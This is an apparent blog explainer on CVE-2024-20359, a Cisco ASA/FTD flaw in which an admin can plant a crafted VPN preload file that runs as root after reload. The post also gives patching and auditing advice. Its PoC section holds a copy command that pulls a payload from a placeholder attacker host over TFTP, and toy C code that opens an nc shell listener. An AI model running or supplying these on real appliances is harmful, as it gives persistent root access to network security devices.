Cisco’s networking hardware, especially their adaptive firewall and security appliances, are core to securing IT infrastructure around the world. But what happens when a problem hidden deep inside legacy functionality unexpectedly opens the door to root-level compromise? CVE-2024-20359 is a glaring reminder that even “old” features come with serious consequences. In this post, we’ll walk through what this vulnerability is, why it’s so serious, and show simple PoC details for exploitability. Where it makes sense, we’ll link out to official resources and advisories.

What Is CVE-2024-20359?

CVE-2024-20359 is a vulnerability affecting Cisco Adaptive Security Appliance (ASA) and Firepower Threat Defense (FTD) software (Cisco advisory).

Only an *authenticated, local user*—with *administrator-level access*—can exploit it.

- The vulnerability relates to a *legacy capability* that enables preloading VPN clients or plugins directly onto the device.
- An attacker who gains admin access can *copy a malicious file onto the device storage* (disk:) and, after a device reload, have their code run as *root*.

Why Is This a Big Deal?

- Privilege escalation: Attackers with admin access (for example, via stolen credentials or a compromised admin host) can upload code that runs as system root.
- Persistence: The malicious code is not wiped by a simple device reboot. It remains on the appliance, silently altering system behavior.
- Attack surface: Many network admins leave legacy VPN features enabled out of habit or for backward compatibility.
- Stealth: After the reload, a backdoor or trojanized plugin could be virtually undetectable without advanced threat hunting.

That’s why Cisco upgraded the *Security Impact Rating* on this bug from Medium to High.

> Note: There is *no remote unauthenticated* code execution! This matters but is not as bad as pre-auth RCE.

The Technical Root: Legacy VPN Client Preload

Cisco ASA and FTD support “preloading” of VPN clients and plugins (think: AnyConnect images or legacy VPN modules), which are stored and loaded from device flash (disk: or flash:). However, these files were not subjected to strict integrity or type checks before being loaded.

The vulnerability: A malicious admin can *replace or add crafted files* so that next time the VPN preload mechanism runs (on reload/boot), the device will *execute attacker-controlled code with root privileges*.

Example 1: PoC for Malicious File Upload

> DISCLAIMER: Never test this on production or critical systems!

# Assume you have admin-level enable access via SSH/console
# Replace 'evil_vpn_plugin.pkg' with your crafted payload

copy tftp://attacker-ip/evil_vpn_plugin.pkg disk:/webvpn/vpn_default_client.pkg

On the next device reload, if the system attempts to preload the plugin, it will execute the code inside the payload as root.

Example 2: (What a Plugin Might Look Like)

While real-world payloads would be custom binaries or shell scripts, here’s a toy example that *could* create a backdoor shell (in C):

#include <stdlib.h>

// When this 'plugin' is loaded by the preloader
int main() {
    system("/bin/bash -c \"nc -lvp 4444 -e /bin/sh &\"");
    return ;
}

Compile, upload as above, restart device, and you have a silent root shell listener.

- You’re at risk if

- You use Cisco ASA/FTD (many versions; check the Cisco advisory)

Mitigation Steps

1. Patch: Cisco has released software updates! Get them here.
2. Audit: Check disk:/ and similar filesystems for unauthorized or unfamiliar VPN/plugin files.
3. Disable legacy features: If you don’t need old VPN preload capabilities, disable them using your device’s configuration guide.

Rotate admin credentials: If you suspect any compromise, change passwords and audit logins.

5. Do not let attackers get admin in the first place: Harden management access, use strong 2FA, and monitor for lateral movement!

Where to Learn More

- Official Cisco Security Advisory: CVE-2024-20359
- Cisco download portal (patched firmware)
- CVE entry at NVD

Bottom Line

CVE-2024-20359 is a sharp lesson in the dangers of long-forgotten features and lax input validation. While only authenticated admins can exploit it, the consequences—root access and persistent compromise—are dire. If you use Cisco ASA or FTD, *patch now, audit your file systems,* and retire unused legacy options. Don’t give attackers any help from old code!

Timeline

Published on: 04/24/2024 19:15:46 UTC
Last modified on: 04/26/2024 01:00:01 UTC